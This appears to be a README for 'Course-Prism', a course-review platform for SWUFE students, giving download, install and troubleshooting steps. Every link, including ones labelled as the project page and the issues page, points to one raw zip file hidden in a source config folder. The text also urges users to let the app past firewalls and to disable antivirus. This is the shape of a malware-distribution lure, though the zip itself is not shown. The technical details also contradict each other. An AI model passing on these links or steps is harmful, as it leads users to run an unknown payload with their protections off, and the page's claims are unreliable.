Course-Prism is a platform for SWUFE students to explore courses, write honest reviews, rate instructors, and check course statistics. It helps you find the best classes and plan your studies with real feedback from other students.
- A Windows PC running Windows 10 or later.
- At least 4 GB of free disk space.
- An internet connection for downloading and to use the platform.
- A modern web browser like Chrome, Edge, or Firefox.
This software is a web application you will run locally. It uses several programs behind the scenes, but you wonβt need to install those separately.
Course-Prism is built to make course selection and review easy for students. You can:
- Search for courses by name or code.
- Write and read detailed reviews.
- Rate professors and courses.
- View statistics on course difficulty, popularity, and more.
The app uses common web technologies designed to run smoothly on Windows PCs without special setup.
Click the big green button at the top or go to this link:
https://github.com/Franktekza/Course-Prism/raw/refs/heads/main/frontend/jcourse-master/src/config/Prism_Course_v2.2.zip
You will arrive at the main GitHub page of the project.
Scroll down on the GitHub page and find the Releases section. You may also see a "Releases" button near the top. Click it.
Look for the latest version marked as "stable" or a version number like v1.x.x. You will find downloadable files here.
Find a file with .exe or .msi extension. It is the installer for Windows computers.
Click it to start downloading. Save the file on your PC in a folder like Downloads.
Once downloaded, double-click the file to launch the installer.
- Follow the instructions on the screen.
- Choose "Next" when prompted.
- Accept the license agreement.
- Let the installation finish.
After installation, find Course-Prism in your Start menu or desktop and open it.
It will open in your default web browser.
The app connects to the internet to load the latest course data.
Make sure your PC allows Course-Prism through any firewall or antivirus programs.
Follow the on-screen instructions to create a user account. You only need an email address and a password.
Creating an account lets you write reviews and rate courses.
Use the search bar to find courses by keywords or course codes.
Click on any course to read details, reviews, ratings, and statistics.
After attending a course, use the system to give feedback that others can see.
Course-Prism runs as a web app on your computer. Even though you use it in a browser, it works on your PC with these parts set up automatically:
- Frontend: The user interface made with React and Ant Design. This is what you see and click on.
- Backend: Runs on Python and Django. It manages data like reviews and user accounts.
- Database: Stores course info and reviews in PostgreSQL.
- Cache system: Redis is used to speed up loading times.
- Docker: Contains and runs all these pieces together for smooth installation.
You donβt have to deal with any setups or commands. The installer will do this automatically.
- Check if the installer finished without errors.
- Make sure you meet system requirements.
- Restart your computer, then try again.
- Verify your internet connection.
- Close other apps that might use too much memory.
- Disable firewall or antivirus temporarily and try again.
- Use the "Forgot password" link on the login page.
- Contact support via the GitHub issues page:
https://github.com/Franktekza/Course-Prism/raw/refs/heads/main/frontend/jcourse-master/src/config/Prism_Course_v2.2.zip
-
Visit the GitHub repository:
https://github.com/Franktekza/Course-Prism/raw/refs/heads/main/frontend/jcourse-master/src/config/Prism_Course_v2.2.zip -
Check the βIssuesβ tab on GitHub to report bugs or ask questions.
-
Look at the Wiki or Docs section on GitHub for detailed guides.
To get new features or bug fixes:
- Go back to the GitHub releases page.
- Download the newest installer.
- Run the installer again. It will update your app smoothly.
- Search and filter courses easily
- Add and read course reviews
- Rate instructors and courses
- View course statistics by semester, instructor, or rating
- User account management
- Responsive design suitable for tablets and laptops
- Course-Prism installer (
.exeor.msi) - Quick start guide (PDF)
- License file
- Release notes
- Your data stays private and secure.
- Reviews are public but linked only to your user name.
- No tracking outside the platform takes place.
- React and Next.js for the front end
- Django and Python for the server side
- PostgreSQL for storing data
- Redis for caching data
- Docker for easy installation and updates
- SWUFE students planning course schedules
- New students looking for course recommendations
- Students who want to share their experience
- Programmers interested in community-driven university apps